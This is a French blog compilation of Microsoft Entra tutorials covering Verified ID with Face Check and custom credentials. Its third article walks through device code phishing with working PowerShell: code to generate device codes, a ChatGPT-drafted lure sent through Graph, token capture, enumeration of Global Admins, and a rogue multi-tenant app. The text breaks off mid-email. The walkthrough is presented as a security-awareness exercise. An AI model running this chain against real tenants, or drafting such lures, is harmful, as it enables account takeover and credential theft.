Entra Verified ID + Face Check

La vérification faciale est une solution qui existe chez plusieurs éditeurs et qui compare des visages tout en respectant la vie privée. Elle aide les entreprises à vérifier l’identité des personnes de manière sécurisée et efficace. Par exemple, une banque peut l’utiliser pour s’assurer que la personne ouvrant un compte est bien celle qu’elle prétend déclarer. Mais peut-on combiner cette fonctionnalisé avec Entra Verified ID ?

La réponse est oui :

La correspondance faciale est alimentée par Azure AI services. En partageant uniquement les résultats de correspondance et non les données d’identité sensibles, Vérification faciale protège la confidentialité des utilisateurs tout en permettant aux organisations de s’assurer que la personne est bien qui elle prétend être.

Microsoft Learn

Combinée à Entra Verified ID, Face check permettra alors une expérience plus rapide dans le partage d’une identité :

La documentation Microsoft explique d’ailleurs très bien le concept et l’intégration dans une application, mais également une FAQ disponible juste ici.

Vérification faciale vs Face ID ?

Face ID est une offre d’option de sécurité biométrique basée sur la vision pour les produits Apple pour déverrouiller un appareil en vue d’accéder à une application mobile. Vérification faciale est une fonctionnalité de Vérification d’identité Microsoft Entra qui utilise également la technologie IA basée sur la vision, mais compare l’utilisateur au justificatif Vérification d’identité présenté… Les deux mécanismes requièrent que l’utilisateur soit face à une caméra dans le processus, mais fonctionne de différentes manières.

Microsoft Learn


Mais qu’advient-il des données liées aux images ?

Les données ne sont ni stockées ni conservées par aucun des services Microsoft Authenticator, Vérification d’identité ou Azure AI. En outre, les images ne sont pas non plus partagées avec l’application de vérificateur. L’application de vérificateur obtient uniquement le score de confiance en retour.

Dans un système basé sur l’IA, le score de confiance est la réponse de pourcentage de probabilité pour une requête au système. Pour ce scénario, le score de confiance est la probabilité que la photo du justificatif de l’utilisateur Vérification d’identité corresponde à la capture de l’utilisateur sur l’appareil mobile.

Microsoft Learn

Comme toujours, je vous propose de suivre ensemble ce pas à pas dans le but de tester ce tutoriel Microsoft :

Etape 0 – Rappel des prérequis :

Afin de tester la fonctionnalité Face Check disponible sur les identités vérifiées via Entra ID nous allons avoir besoin de :

  • Un tenant Microsoft active
  • Une souscription Azure active

Commençons par configurer notre tenant afin de pouvoir générer des identités vérifiées personnalisées.

Etape I – Configuration du tenant :

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route des identités vérifiées.

Deux options de mise en place s’offrent alors à vous :

Pour cette démonstration de Face Check, choisissez la configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour ce service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Afin de configurer Face Check, nous avons besoin de créer un groupe de ressources Azure. Rendez-vous sur le portail Azure, puis cliquez ici :

Cliquez ici pour créer un nouveau groupe de ressources Azure :

Renseignez les informations de base pour ce groupe de ressources, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création du groupe de ressources :

Retournez sur le portail d’Entra ID afin d’activer l’addon Face Check :

Prenez le temps de lire les conditions tarifaires de Face Check, dont le prix sera appliqué à partir du 12 août 2024 :

Renseignez vos informations Azure concernant le groupe de ressources créé précédemment, puis cliquez sur Valider :

Une fois la validation Azure réussie, cliquez sur Activer :

La notification Entra suivante apparaît alors :

La configuration du service Verified ID destiné à Face Check est maintenant terminée. Nous allons avoir maintenant besoin de créer un utilisateur de test.

Etape II – Création d’un utilisateur de test :

Toujours sur le portail Entra, créez un nouvel utilisateur Entra ID :

Renseignez les informations de base de cet utilisateur, puis cliquez sur Suivant :

Renseignez également une adresse de messagerie :

Renseignez également un pays de localisation, puis lancez la validation Entra :

Lancez la création de votre utilisateur de test :

La notification Entra suivante apparaît alors :

Une fois l’utilisateur de test créé, ajoutez une photo de vous sur le profil de ce dernier :

Ouvrez le navigateur de votre choix en mode privé :

Ouvrez la page Mon compte de Microsoft, puis authentifiez-vous avec votre utilisateur de test :

A votre première connexion, personnalisez son mot de passe :

Cliquez ici afin d’obtenir une identité vérifiée :

Microsoft génère alors un QR code pour générer et stocker une identité vérifiée dans l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, ouvrez Microsoft Authenticator, puis cliquez ici pour scanner le QR Code :

Confirmez l’ajout de votre identité vérifiée en cliquant sur Ajouter :

Sur votre smartphone, un clic sur votre identité vérifiée affiche les informations stockées dans cette dernière, dont votre photo :

Une première activité correspondante à la réception de cette identité vérifiée est visible juste ici :

Cette nouvelle identité vérifiée rejoint les autres déjà en place dans Microsoft Authenticator :

La prochaine étape sera de créer une application de test pour vérifier le bon fonctionnement de Face Check pour notre nouvel utilisateur.

Si vous ne souhaitez pas déployer d’application sur Azure, vous pouvez également utiliser celle mise à disposition par Microsoft.

Etape III – Création d’une application de test :

Sur la portail Entra, copiez votre DID afin de la configurer plus tard dans l’application :

Rendez-vous sur la page GitHub suivante, puis déployez l’application sur votre tenant par ce lien :

Renseignez les 2 champs suivants, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création des ressources :

Attendez environ 5 minutes la fin du déploiement Azure, qui devrait peut-être présenter l’erreur non bloquante suivante, puis cliquez ici pour continuer :

Vérifiez que l’application déployée dispose bien de sa propre identité :

Copiez le script ci-dessous dans un éditeur de texte en prenant soin de renseigner les deux informations suivantes propres à votre déploiement :

  • Votre tenant ID
  • Le nom de votre application de test déployé
$TenantID="<YOUR TENANTID>"
$YourAppName="<NAME OF YOUR AZURE WEBAPP>"

#Do not change this values below
#
$ApiAppId = "3db474b9-6a0c-4840-96ac-1fceb342124f"
$PermissionName = "VerifiableCredential.Create.PresentRequest"
 
# Install the module
Install-Module AzureAD

Connect-AzureAD -TenantId $TenantID

$MSI = (Get-AzureADServicePrincipal -Filter "displayName eq '$YourAppName'")

Start-Sleep -Seconds 10

$ApiServicePrincipal = Get-AzureADServicePrincipal -Filter "appId eq '$ApiAppId'"
$AppRole = $ApiServicePrincipal.AppRoles | Where-Object {$_.Value -eq $PermissionName -and $_.AllowedMemberTypes -contains "Application"}
New-AzureAdServiceAppRoleAssignment -ObjectId $MSI.ObjectId -PrincipalId $MSI.ObjectId ` -ResourceId $ApiServicePrincipal.ObjectId -Id $AppRole.Id

Toujours sur le portail Azure, ouvrez par ce bouton Azure Cloud Shell :

Exécutez le script précédemment modifié, puis attendez le résultat suivant :

Retournez sur le portail Entra, puis recherchez votre application de test :

Vérifiez la présence de la permission suivante nécessaire à la gestion des identités vérifiées :

Tout est maintenant en place, il nous reste qu’à tester notre application.

Etape IV – Test application via Face Check :

Retournez sur le portail Azure afin de copier l’URL web de votre application de test :

Ouvrez un nouvel onglet vers cette URL de test, puis cliquez ici :

Votre application génère alors un QR code à scanner :

Depuis votre smartphone, ouvrez Microsoft Authenticator afin de scanner le QR code :

Confirmez votre action de partage de votre identité vérifiée avec votre application de test en cliquant sur Suivant :

Cliquez sur Suivant pour démarrer la vérification avec votre visage :

Suivez les indications de l’application afin de valider l’opération Face Check :

Le message suivant vous confirme le succès de la vérification Face Check :

Cliquez à nouveau sur Partager pour confirmer l’action :

Votre application web vous confirme bien le succès du partage et le score retourné par la fonction Face Check :

Une nouvelle activité Woordgrove Helpdesk s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Custom Entra Verified ID

Pour continuer sur le sujet des identités vérifiées disponibles sur Microsoft Entra (dont un premier article est disponible juste ici), je vous propose dans ce second de suivre un tutoriel élaboré par Microsoft qui est assez intéressant : Il s’agit de créer votre propre système d’identité vérifié personnalisé.

Apprenez à émettre et à vérifier des informations d’identification à l’aide du même locataire Microsoft Entra… Dans ce tutoriel, vous passez en revue les étapes nécessaires à la présentation et à la vérification de votre premier justificatif vérifiable : une carte d’expert en justificatif vérifié.

Microsoft Learn

Microsoft nous montre au travers de ce schéma le fonctionnement d’une application tierce et des interactions avec le service Entra Verified ID de notre tenant :

Comme toujours, je vous propose de suivre ensemble ce pas à pas dans le but de tester ce tutoriel :

Etape 0 – Rappel des prérequis :

Afin de tester l’intégration des identités vérifiées personnalisées au sein d’une application de test, nous allons avoir besoin de :

Commençons par configurer notre tenant afin de pouvoir générer des identités vérifiées personnalisées.

Etape I – Configuration du tenant :

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route des identités vérifiées.

Deux options de mise en place s’offrent alors à vous :

Pour cette démonstration, choisissez la Configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour votre service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Microsoft Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Etape II – Préparation du poste :

Comme le préconise le tutoriel de Microsoft, installez Visual Studio Code ou un éditeur de code similaire :

Téléchargez puis installez la version 6.0 de .NET, disponible via ce lien officiel :

Afin de publier votre application sur une URL internet, téléchargez ngrok, puis inscrivez-vous chez eux avec un compte gratuit :

Sur leur site, téléchargez l’installateur de ngrok :

Copiez la commande suivante affichée sous l’installateur pour configurer votre ngrok :

Depuis le dossier de téléchargement, ouvrez une invite de commande, puis lancez celle-ci afin de préparer votre configuration ngrok :

Le poste local et le tenant Microsoft sont maintenant correctement configurés, la prochaine étape consiste à créer une justificatif vérifiable personnalisé (pouvant générer des identités vérifiées) sur votre tenant.

Etape III – Création d’un justificatif vérifiable personnalisé :

Depuis le portail Microsoft Entra, cliquez ici pour ajouter un Justificatif vérifiable personnalisé :

Sélectionnez Informations d’identification personnalisée, puis cliquez sur Suivant :

Nommez votre Justificatif vérifiable comme ceci :

Dans la première section destinée aux propriétés d’affichage, remplacez le code existant par celui-ci :

{
    "locale": "en-US",
    "card": {
      "title": "Verified Credential Expert",
      "issuedBy": "Microsoft",
      "backgroundColor": "#000000",
      "textColor": "#ffffff",
      "logo": {
        "uri": "https://didcustomerplayground.blob.core.windows.net/public/VerifiedCredentialExpert_icon.png",
        "description": "Verified Credential Expert Logo"
      },
      "description": "Use your verified credential to prove to anyone that you know all about verifiable credentials."
    },
    "consent": {
      "title": "Do you want to get your Verified Credential?",
      "instructions": "Sign in with your account to get your card."
    },
    "claims": [
      {
        "claim": "vc.credentialSubject.firstName",
        "label": "First name",
        "type": "String"
      },
      {
        "claim": "vc.credentialSubject.lastName",
        "label": "Last name",
        "type": "String"
      }
    ]
}

Dans la seconde section destinée à la Définition de règles, remplacez le code existant par celui-ci, puis cliquez sur Créer :

{
  "attestations": {
    "idTokenHints": [
      {
        "mapping": [
          {
            "outputClaim": "firstName",
            "required": true,
            "inputClaim": "$.given_name",
            "indexed": false
          },
          {
            "outputClaim": "lastName",
            "required": true,
            "inputClaim": "$.family_name",
            "indexed": true
          }
        ],
        "required": false
      }
    ]
  },
  "validityInterval": 2592000,
  "vc": {
    "type": [
      "VerifiedCredentialExpert"
    ]
  }
}

Une fois la configuration terminée, une notification Microsoft Entra apparaît :

Le Justificatif vérifiable est maintenant créé. Ses informations de base sont disponibles sur cette page :

Copiez l’URL du manifeste afin de la configurer plus tard dans votre application :

Copiez votre DID afin de la configurer plus tard dans votre application :

Copiez votre tenant ID afin de la configurer plus tard dans votre application :

L’environnement côté Microsoft Entra est maintenant en place. Pour que notre application fonctionne, il est nécessaire renseigner les informations de connexion précédemment copiées.

Etape IV – Création de l’application :

Téléchargez l’archive ZIP de l’application de test disponible sur ce lien GitHub :

Une fois l’archive ZIP téléchargée, débloquez cette dernière par un clic droit sur celle-ci, puis cliquez sur OK :

Lancez l’extraction de l’archive dans le répertoire de votre choix :

Retournez sur le portail de Microsoft Entra ID afin de créer une nouvelle inscription d’application :

Nommez votre application comme ceci, configurez la pour fonctionner uniquement sur votre tenant, puis cliquez sur Enregistrer :

Cliquez sur le menu suivant afin d’ajouter des permissions à votre application :

Ajoutez la permission API suivante utilisée par votre organisation :

Sélectionnez cette permission API, puis cliquez sur Ajouter :

Ajoutez un consentement global de l’administrateur pour votre tenant :

Confirmez votre action en cliquant sur Oui :

Copiez l’ID de votre d’application afin de la configurer plus tard dans votre application :

Cliquez sur le menu suivant afin de créer un secret pour votre application :

Nommez votre secret, puis cliquez sur Ajouter :

Une fois créé, copiez la valeur de votre secret afin de la configurer plus tard dans votre application :

Ouvrez votre éditeur de code local :

Ouvrez le dossier correspondant au dossier contenant l’extraction de l’archive ZIP :

Confirmez votre confiance dans ce répertoire :

Dans le dossier 1.asp-net-core-api-idtokenhint, ouvrez le fichier appsettings.json, puis mettez à jour les propriétés suivantes avec les informations que vous avez copiées lors des étapes précédentes :

  • Manifeste des informations d’identification : l’URL de votre manifeste
  • ID de locataire : votre ID de votre tenant
  • ID client : votre ID de votre inscription d’application
  • Secret client : votre secret client de votre inscription d’application
  • DidAuthority : votre identificateur décentralisé

Retirez les 2 commentaires présents dans ce même fichier :

Sauvegardez le fichier appsettings.json :

Ouvrez une première fenêtre Windows Terminal, positionnez-vous dans le dossier contenant l’extraction de l’archive ZIP, puis saisissez la commande suivante :

dotnet build "AspNetCoreVerifiableCredentials.csproj" -c Debug -o .\bin\Debug\net6.

Une fois la compilation terminée, démarrez votre application via la commande suivante :

dotnet run

Une fois l’application démarrée, ouvrez une seconde fenêtre Windows Terminal, puis saisissez la commande suivante afin d’exposer votre application locale au travers de ngrok :

.\ngrok http 5000

Une fois votre application exposée, copiez l’URL générée par ngrok :

Tout l’environnement de test est maintenant en place, il nous reste qu’à tester le fonctionnement du service personnalisé d’identité vérifiée.

Etape V – Test d’émission d’une identité vérifiée :

Ouvrez un navigateur privé, collez l’URL ngrok précédemment copiée, puis confirmez la navigation en cliquant ici :

Votre application doit ressembler à ceci :

Cliquez ici afin d’obtenir une identité vérifiée :

Confirmez votre action en cliquant ici :

L’application génère alors un QR code pour stocker une identité vérifiée dans l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, ouvrez Microsoft Authenticator, puis cliquez ici pour scanner le QR Code :

Saisissez le code de vérification visible sous le QR code de votre application, puis cliquez sur Suivant :

Confirmez l’ajout de votre identité vérifiée en cliquant sur Ajouter :

L’application confirme bien le stockage sur l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, un clic sur votre identité vérifiée affiche les informations stockées dans cette dernière :

Une première activité correspondante à la réception de cette identité vérifiée est visible juste ici :

Cette nouvelle identité vérifiée rejoint les autres déjà en place dans Microsoft Authenticator :

La prochaine étape consiste à vérifier sa validité au travers de la seconde fonctionnalité de votre application.

Etape VI – Test de la vérification d’une identité vérifiée :

Retournez sur page principale de votre application, puis cliquez ici :

Cliquez ici pour confirmer votre action :

La vérification d’une identité vérifiée passe par le scan d’un QR code :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivante pour scanner le QR code généré par votre application :

Votre application vous indique que la vérification de l’identité vérifiée a bien fonctionné :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Gérez le Device Code flow

Type d’authentification du protocole OAuth 2.0, le Device Code Flow est spécifiquement conçu pour les appareils sans navigateur ou avec une méthode de saisie restreinte, comme les téléviseurs, les consoles de jeux ou encore les appareils IoT. Cette méthode d’identification est déjà très répandue au travers des plateformes de streaming audio ou vidéo. Mais quid de sa sécurité ?

Qu’est-ce que le Device Code Flow ?

Le principal avantage du Device Code Flow est de proposer une méthode d’authentification « conviviale » pour des périphériques à saisie restreinte. On peut découper le processus d’authentification du device code flow dans les étapes suivantes :

  1. Demande d’un code de dispositif:
    • L’appareil (par exemple, une télévision) envoie une demande à l’API d’autorisation du service (par exemple, un serveur OAuth).
    • En réponse, il reçoit un code de dispositif et une URL d’authentification.
  2. Affichage du code et de l’URL à l’utilisateur:
    • L’appareil affiche le code de dispositif et l’URL d’authentification à l’utilisateur.
    • Par exemple, « Veuillez visiter https://example.com/device et entrer le code suivant: ABC123″.
  3. Utilisateur autorise l’appareil:
    • L’utilisateur utilise un appareil avec un navigateur (par exemple, un smartphone ou un ordinateur) pour visiter l’URL fournie.
    • L’utilisateur entre le code de dispositif affiché sur l’appareil et s’authentifie (par exemple, via un login et un mot de passe).
  4. Appareil poll l’API d’autorisation:
    • Pendant que l’utilisateur s’authentifie, l’appareil envoie régulièrement des requêtes (polling) à l’API d’autorisation pour vérifier si l’utilisateur a terminé le processus d’autorisation.
    • Si l’utilisateur autorise l’accès, l’API renvoie un jeton d’accès à l’appareil.
  5. Accès accordé:
    • L’appareil peut maintenant utiliser le jeton d’accès pour accéder aux ressources protégées au nom de l’utilisateur.
Action ou flux d’authentificationNécessiteJeton d’IDAccess token (Jeton d’accès)Jeton d’actualisationCode d’autorisation.
Flux du code d’autorisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisationLe code d’autorisation fonctionne
Informations d’identification du clientLe flux d’authentification fonctionne pour le jeton d’accès (application uniquement)
Flux de code d’appareilLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Flux impliciteLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accès
Flux On-Behalf-Ofaccess tokenLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Nom d’utilisateur/mot de passe (ROPC)nom d’utilisateur, mot de passeLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Circuit OIDC hybrideLe flux d’authentification fonctionne pour le jeton d’IDLe code d’autorisation fonctionne
Échange de jetons d’actualisationjeton d’actualisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation

Pourquoi alors se passer du Device Code Flow si pratique ?

Disons-le tout de suite, Microsoft est très clair quant à la sécurité d’Entra ID uniquement basée sur un Device code flow :

Le flux de code d’appareil est un flux d’authentification à haut risque qui peut être utilisé dans le cadre d’une attaque par hameçonnage ou pour accéder aux ressources de l’entreprise sur des appareils non gérés. 

Microsoft Learn

Merci à Seyfallah pour son explication très claire sur les risques :

Mais pourquoi alors proposer quelque chose de risqué ?

Comme dit plus haut, certains scénarios spécifiques sont plus facilement gérables via Device Code Flow. D’ailleurs, tous les principaux cmdlets PowerShell, les outils AZ et de nombreux autres prennent en charge ce flux d’authentification depuis déjà un bon moment.

Vous pouvez configurer le contrôle de flux de code de l’appareil avec d’autres contrôles dans vos stratégies d’accès conditionnel. Par exemple, si le flux de codes d’appareils est utilisé pour les appareils Android utilisés dans les salles de conférence, vous pouvez choisir de bloquer le flux de codes d’appareils partout, sauf pour les appareils Android situés dans un emplacement spécifique du réseau.

Microsoft Learn

Mais le principal risque pour la méthode d’authentification via Device Code Flow reste le Phishing ou hameçonnage. Les attaquants peuvent tenter de créer de fausses pages ou emails de phishing :

Et l’arrivée massive de l’IA n’a fait qu’accroitre le risque des attaques basées sur l’ingénierie sociale. Les utilisateurs peuvent être facilement manipulés pour valider des devices code flows à leur insu.

Mais comment peut-on y remédier ?

Bien que la première méthode sécuritaire doive être construite autour de l’éducation des utilisateurs, des pratiques de sécurité rigoureuses et une surveillance continue peuvent aider à atténuer ces risques et à protéger les utilisateurs contre ces attaques :

Entra ID propose depuis peu et encore en préversion, la gestion de polices d’accès conditionnels proposant justement de bloquer les Device code flow selon certains usages :

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur le Device code Flow et son impact :

Important : Cet exercice n’est reflète pas une attaque dans son intégralité, mais démontre quelques points intéressants dans le cadre d’une prise de contrôle d’un administrateur global.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer de :

  • Deux tenants Microsoft
  • Plusieurs adresses emails pour une première campagne d’hameçonnage

Commençons par l’hameçonnage d’utilisateurs 365 lambda afin de récupérer l’accès à la messagerie 365.

Etape I – Préparation du premier hameçonnage :

Une campagne d’hameçonnage réussie et reposant sur de l’ingénierie sociale doit faire l’objet d’un travail poussé afin d’augmenter ses chances de succès.

Dans mon cas, je suis passé par ChatGPT pour rédiger rapidement un email d’hameçonnage destiné à mes utilisateurs lambda :

ChatGPT m’a alors généré en quelques secondes le texte de mon email au format HTML :

<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://www.fakewebsite.com/register" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">UNIQUECODE12345</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>

Il ne me reste qu’à y remplacer l’URL et le Device Code Flow.

Pour cela, et depuis mon poste, j’exécute le script PowerShell suivant afin de générer un Device Code Flow destiné à l’application officielle Microsoft Office :

$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Scope = ".default offline_access"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}

$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Attention ici, le code généré n’est valable que 15 minutes, mais des méthodes d’automatisation de l’hameçonnage sont facilement réalisable.

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma première campagne d’hameçonnage :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "jlou07@jloudev.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔"
# E-mail : corps

# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">LS9475723</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "teacher1@tdcheduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Bien évidemment, une campagne d’hameçonnage repose toujours sur une volume important d’emails, comparé aux faibles chances de clics des utilisateurs.

Etape II – Récupération du premier token :

Admettons un instant qu’un utilisateur 365 lambda se fasse berner et clique sur le lien en pensant que ce dernier est légitime. Ce dernier est invité à recopier le code indiqué dans l’email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte 365 :

Pensant toujours l’action légitime, l’utilisateur clique sur Continuer :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce même Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de l’application Microsoft Office :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure justement le droit d’envoyer des emails :

Nous sommes maintenant à l’intérieur d’un environnement Entra ID avec déjà quelques autorisations. Afin de réussir l’objectif de réinitialiser le mot de passe d’un compte Administrateur Global, nous allons avoir besoin de plus de droits que ceux déjà obtenus.

Etape III – Préparation du second hameçonnage :

La plus rapide est de cibler tous les comptes Entra ID ayant le rôle d’Administrateur Global. Bien souvent, d’autres personnes non IT (gérants, actionnaires, …) ont également ce rôle critique malgré les risques que cela comporte.

Depuis l’accès obtenu via mon utilisateur lambda, la commande PowerShell suivante me permet de récupérer des informations sur les comptes Administrateur Global du tenant :

$memberList = [System.Collections.Generic.List[string]]::new()
$roleId = (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id
$userList = Get-MgDirectoryRoleMember -DirectoryRoleId $roleId

foreach ($user in $userList) {
    $upn = (Get-MgUser -UserId $user.id).UserPrincipalName
    $GivenName = (Get-MgUser -UserId $user.id).GivenName
    $memberList.Add($upn)
    $memberList.Add($GivenName)
}

$memberList

Une fois ma nouvelle liste de cibles établie, je peux créer une seconde campagne d’hameçonnage interne.

Avant besoin de plus de droits que ceux octroyés par l’application Microsoft Office, je décide de créer une nouvelle application sur un autre tenant dont je suis le propriétaire :

Je nomme mon application selon le contexte voulu et j’active la fonction multi-tenant :

Depuis l’onglet Authentification, je clique sur le menu suivant :

Je clique sur le type de plate-forme suivant :

Je coche et rajoute les URIs suivantes :

J’active également la fonction suivante, puis je clique sur Sauvegarder :

Depuis le menu Permissions API, je rajoute une permission API par le bouton suivant :

Je choisi alors Microsoft Graph :

Je sélectionne Permissions déléguées :

Je recherche la permissions suivante, puis je clique sur Ajouter :

UserAuthenticationMethod.ReadWrite.All

Ici, aucun besoin de consentement d’administration :

Sur la page principale de mon application, je récupère son Application ID :

Comme pour la première campagne, j’exécute les commandes suivantes pour de générer un Device Code Flow destiné à ma nouvelle application :

$ClientID = "1bc7e8a5-6442-4f35-8497-2cebe8c71f0c"
$Scope = "UserAuthenticationMethod.ReadWrite.All"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Là encore, le code généré n’est valable que 15 minutes :

Je repasse par ChatGPT pour rédiger rapidement un second email d’hameçonnage interne destiné à mes utilisateurs Administrateur Global :

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma seconde campagne d’hameçonnage interne :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "teacher1@tdcheduc.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "Activation de l'essai de Copilot for Security toujours en attente"
# E-mail : corps
#$EmailBody = "<h1>Démo Microsoft Graph</h1>"
# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Découvrez Copilot for Security</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
